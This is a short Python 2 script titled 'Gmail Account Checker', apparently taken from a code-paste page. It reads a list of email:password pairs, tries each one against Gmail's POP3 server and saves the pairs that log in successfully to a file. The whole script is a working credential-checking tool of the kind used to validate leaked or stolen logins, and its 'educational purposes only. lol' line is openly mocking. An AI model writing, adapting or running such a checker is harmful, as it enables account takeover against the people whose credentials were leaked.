| 0. 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. 29. 30. 31. 32. 33. 34. 35. 36. 37. 38. 39. 40. 41. 42. 43. 44. 45. 46. 47. 48. 49. 50. 51. 52. 53. 54. 55. 56. 57. 58. 59. 60. 61. 62. 63. 64. 65. 66. 67. 68. 69. 70. 71. 72. 73. 74. 75. 76. 77. 78. 79. 80. 81. | #!/usr/bin/env python # Gmail Account Checker # 10n1z3d[at]w[dot]cn # This software is for educational purposes only. lol import sys, poplib def printHelp(): print '\nUsage: ./gmailcheck.py <emaillist>' print 'Example: ./gmailcheck.py emails.txt' print '\nNote: The accounts must be in the following format: [email protected]:password\n' print ''' \t _____ _ _ \t| __|_____ ___|_| | \t| | | | .'| | | \t|_____|_|_|_|__,|_|_| \t Account Checker \t 10n1z3d[at]w[dot]cn ''' if len(sys.argv) != 2: printHelp() exit(1) #Change these if needed. SAVEFILE = 'valid_accounts.txt' HOST = 'pop.gmail.com' PORT = 995 # Do not change anything below. maillist = sys.argv[1] valid = [] currline = 0 try: handle = open(maillist) except: print '\n[-] Could not open the accounts file. Check the file path and try again.' print '\n[-] Quitting ...' exit(1) for line in handle: currline += 1 try: email = line.split(':')[0] password = line.split(':')[1].replace('\n', '') except: print '\n[-] Erroneous account format at line %d.' % currline print '[!] Accounts must be in the following format: [email protected]:password' print '\n[-] Quitting ...' exit(1) try: pop = poplib.POP3_SSL(HOST, PORT) pop.user(email) pop.pass_(password) valid.append(email + ':' + password) print '[+] Checking: %s <%s> -> Valid!' % (email, password) pop.quit() except: print '[+] Checking: %s <%s> -> Invalid!' % (email, password) pass handle.close() print '\n[+] Total Valid: %s' % len(valid) if len(valid) > 0: save = open(SAVEFILE, 'a') for email in valid: save.write(email + '\n') save.close() print '[+] The valid accounts are saved in "%s".' % SAVEFILE print '\n[+] Done.\n' |